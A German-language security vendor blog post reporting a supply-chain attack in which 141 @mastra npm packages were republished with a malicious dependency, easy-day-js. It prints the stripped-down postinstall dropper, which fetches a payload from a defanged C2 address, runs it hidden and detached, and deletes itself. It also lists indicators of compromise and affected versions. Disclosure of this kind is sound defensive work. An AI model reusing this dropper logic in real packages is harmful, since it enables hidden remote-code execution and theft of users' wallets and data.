Aikido

Über 140 beliebte Mastra npm-Pakete von Supply-Chain-Angriff betroffen

Verfasst von
Ilyas Makari

Am 17. Juni haben wir einen groß angelegten Supply-Chain-Angriff entdeckt, der das gesamte @mastra npm-Scope, ein beliebtes Open-Source-Framework für KI-Agenten, zum Ziel hatte. Ein Angreifer veröffentlichte 141 Pakete in einem Zeitraum zwischen 01:15 und 02:00 Uhr UTC neu und schleuste dabei stillschweigend eine bösartige Abhängigkeit in jedes einzelne ein. Die betroffenen Pakete umfassen @mastra/core, das 918.000 wöchentliche npm-Downloads hat, sowie mastra und create-mastra.

Das Postinstall-Skript

Alle 141 Pakete erhielten eine einzige neue Abhängigkeit in ihren package.json: easy-day-js, ein bösartiger Klon der beliebten Datumsbibliothek dayjs. Das Paket wurde einen Tag vor der Übernahme des Scopes von einem separaten, vom Angreifer kontrollierten Konto veröffentlicht. Entscheidend ist, dass die ursprüngliche Version (1.11.21) völlig sauber war, eine direkte Kopie von dayjs ohne Installations-Hooks. Die bösartige Version (1.11.22) folgte am nächsten Tag, etwa zu der Zeit, als die @mastra Pakete neu veröffentlicht wurden. Die kompromittierten Pakete hängen von ^1.11.21, aber die Caret-Auflösung von npm zieht automatisch die bösartige Version 1.11.22 als neueste Version herein, während eine Überprüfung der festgeschriebenen Version nichts Verdächtiges ergibt.

Version 1.11.22 fügt einen postinstall Hook hinzu, der setup.cjs, ein verschleiertes Skript, das bei der Installation automatisch und ohne Benutzerinteraktion ausgeführt wird.

// obfuscated -- stripped down to the essential logic
const payload = await (await fetch('https://23[.]254[.]164[.]92:8000/update/49890878')).text();
const file = path.join(os.tmpdir(), crypto.randomBytes(12).toString('hex') + '.js');
fs.writeFileSync(file, payload, 'utf8');
child_process.spawn(process.execPath, [file, '23[.]254[.]164[.]123:443'], {
  detached: true, stdio: 'ignore', windowsHide: true
}).unref();
fs.rmSync(__filename, { force: true }); // self-deletes

Was dieses Skript Schritt für Schritt tut:

  • Ruft eine Second-Stage-Payload vom C2-Server unter 23[.]254[.]164[.]92:8000
  • Schreibt die Payload in eine zufällig benannte .js Datei im temporären Verzeichnis des Betriebssystems
  • Startet die Payload als vollständig abgetrennten Hintergrundprozess, unsichtbar auf allen Plattformen (stdio: ignore, windowsHide: true), wobei ein zweiter C2-Host 23[.]254[.]164[.]123:443 als Argument übergeben wird
  • Löscht sich selbst, um forensische Beweise des Postinstall-Hooks zu entfernen

Die zweite Stufe läuft als langlebiger Hintergrundprozess, der Systeminformationen sammelt und über 160 browserbasierte Krypto-Wallet-Erweiterungen angreift, darunter MetaMask, Keplr, Coinbase und weitere. Sie etabliert Persistenz, indem sie sich auf macOS, Windows und Linux als Node-bezogene Tools tarnt, die alle nach Hause telefonieren zu 23[.]254[.]164[.]123:443.

Ähnlichkeiten mit der axios Kompromittierung

Das Vorgehen hier ist nahezu identisch mit der axios Kompromittierung die wir im März 2026 behandelt haben. Bei beiden Angriffen vermied der Angreifer es, den eigenen Code des Zielpakets zu modifizieren, und injizierte stattdessen eine bösartige Abhängigkeit, wobei er sich auf npm's postinstall Hook verließ, um die Payload automatisch zur Installationszeit auszuführen. Beide inszenierten zuerst eine saubere Köderversion und folgten dann mit der bösartigen. Beim axios-Angriff plain-crypto-js spielte die Rolle, die easy-day-js hier spielt. Beide Dropper löschen sich nach der Ausführung selbst, um forensische Beweismittel zu entfernen.

Die Infrastruktur folgt ebenfalls dem gleichen Muster. Der axios-Dropper rief zu einem Hostwinds VPS auf Port 8000 zurück. Der easy-day-js Dropper tut dasselbe und kontaktiert 23[.]254[.]164[.]92:8000 auf der Hostwinds-Infrastruktur.

Wie Aikido dies erkennt

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.

Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.

Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.

Indikatoren für Kompromittierung

Netzwerkindikatoren

23[.]254[.]164[.]92:8000 — C2 der ersten Stufe, Payload-Download
23[.]254[.]164[.]123:443 — Callback-Host der zweiten Stufe, übergeben an den gestarteten RAT

Betroffene Pakete

easy-day-js@1.11.22
create-mastra@1.13.1
mastra@1.13.1
@mastra/acp@0.2.2
@mastra/agent-browser@0.3.2
@mastra/agent-builder@1.0.42
@mastra/agentcore@0.2.2
@mastra/agentfs@0.1.1
@mastra/ai-sdk@1.4.6
@mastra/arize@1.2.3
@mastra/arthur@0.3.3
@mastra/astra@1.0.2
@mastra/auth@1.0.3
@mastra/auth-auth0@1.0.2
@mastra/auth-better-auth@1.0.4
@mastra/auth-clerk@1.0.3
@mastra/auth-cloud@1.1.4
@mastra/auth-firebase@1.0.1
@mastra/auth-okta@0.0.5
@mastra/auth-studio@1.2.4
@mastra/auth-supabase@1.0.2
@mastra/auth-workos@1.5.3
@mastra/azure@0.2.3
@mastra/blaxel@0.4.2
@mastra/braintrust@1.1.4
@mastra/brightdata@0.2.2
@mastra/browser-firecrawl@0.1.1
@mastra/browser-viewer@0.1.3
@mastra/chroma@1.0.2
@mastra/claude@1.0.3
@mastra/clickhouse@1.10.1
@mastra/client-js@1.24.1
@mastra/cloud@0.1.24
@mastra/cloudflare@1.4.2
@mastra/cloudflare-d1@1.0.7
@mastra/codemod@1.0.4
@mastra/convex@1.2.2
@mastra/core@1.42.1
@mastra/couchbase@1.0.4
@mastra/cursor@0.2.1
@mastra/dane@1.0.2
@mastra/datadog@1.2.5
@mastra/daytona@0.4.2
@mastra/deployer@1.42.1
@mastra/deployer-cloud@1.42.1
@mastra/deployer-cloudflare@1.1.44
@mastra/deployer-netlify@1.1.20
@mastra/deployer-vercel@1.1.38
@mastra/docker@0.3.1
@mastra/dsql@1.0.3
@mastra/duckdb@1.4.3
@mastra/dynamodb@1.0.9
@mastra/e2b@0.3.4
@mastra/editor@0.11.3
@mastra/elasticsearch@1.2.1
@mastra/engine@0.1.1
@mastra/evals@1.3.1
@mastra/express@1.3.31
@mastra/fastembed@1.1.3
@mastra/fastify@1.3.31
@mastra/files-sdk@0.2.1
@mastra/gcs@0.2.3
@mastra/github-signals@0.1.2
@mastra/google-cloud-pubsub@1.0.6
@mastra/google-drive@0.1.1
@mastra/hono@1.4.26
@mastra/inngest@1.5.2
@mastra/koa@1.5.14
@mastra/laminar@1.2.3
@mastra/lance@1.0.7
@mastra/langfuse@1.3.6
@mastra/langsmith@1.2.4
@mastra/libsql@1.13.1
@mastra/loggers@1.1.3
@mastra/longmemeval@1.0.50
@mastra/mcp@1.10.1
@mastra/mcp-docs-server@1.1.47
@mastra/mcp-registry-registry@1.0.2
@mastra/mem0@0.1.14
@mastra/memory@1.20.4
@mastra/modal@0.2.2
@mastra/mongodb@1.9.3
@mastra/mssql@1.3.2
@mastra/mysql@0.1.1
@mastra/nestjs@0.1.15
@mastra/node-audio@0.1.8
@mastra/node-speaker@0.1.1
@mastra/observability@1.14.2
@mastra/openai@1.0.2
@mastra/opencode@0.0.47
@mastra/opensearch@1.0.3
@mastra/otel-bridge@1.2.3
@mastra/otel-exporter@1.2.3
@mastra/perplexity@0.1.1
@mastra/pg@1.13.1
@mastra/pinecone@1.0.2
@mastra/playground-ui@33.0.1
@mastra/posthog@1.0.29
@mastra/qdrant@1.0.3
@mastra/rag@2.2.2
@mastra/railway@0.1.1
@mastra/react@1.0.1
@mastra/redis@1.1.3
@mastra/redis-streams@0.0.4
@mastra/s3@0.5.3
@mastra/s3vectors@1.0.7
@mastra/schema-compat@1.2.12
@mastra/sentry@1.1.4
@mastra/server@2.1.1
@mastra/slack@1.3.1
@mastra/spanner@1.1.2
@mastra/speech-azure@0.2.1
@mastra/speech-elevenlabs@0.2.1
@mastra/speech-google@0.2.1
@mastra/speech-ibm@0.2.1
@mastra/speech-murf@0.2.1
@mastra/speech-openai@0.2.1
@mastra/speech-replicate@0.2.1
@mastra/speech-speechify@0.2.1
@mastra/stagehand@0.2.5
@mastra/tavily@1.0.3
@mastra/temporal@0.1.14
@mastra/turbopuffer@1.0.3
@mastra/twilio@1.0.2
@mastra/upstash@1.1.3
@mastra/vectorize@1.0.3
@mastra/vercel@1.0.1
@mastra/voice-aws-nova-sonic@0.1.4
@mastra/voice-azure@0.11.2
@mastra/voice-cloudflare@0.12.3
@mastra/voice-deepgram@0.12.2
@mastra/voice-elevenlabs@0.12.2
@mastra/voice-gladia@0.12.2
@mastra/voice-google@0.12.3
@mastra/voice-google-gemini-live@0.12.2
@mastra/voice-inworld@0.3.1
@mastra/voice-modelslab@0.1.2
@mastra/voice-murf@0.12.3
@mastra/voice-openai@0.12.3
@mastra/voice-openai-realtime@0.12.6
@mastra/voice-playai@0.12.2
@mastra/voice-sarvam@1.0.2
@mastra/voice-speechify@0.12.2
@mastra/voice-xai-realtime@0.1.2

Teilen:

https://www.aikido.dev/blog/over-140-popular-mastra-npm-packages-hit-by-supply-chain-attack

Nach Malware scannen

Kostenlos starten
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.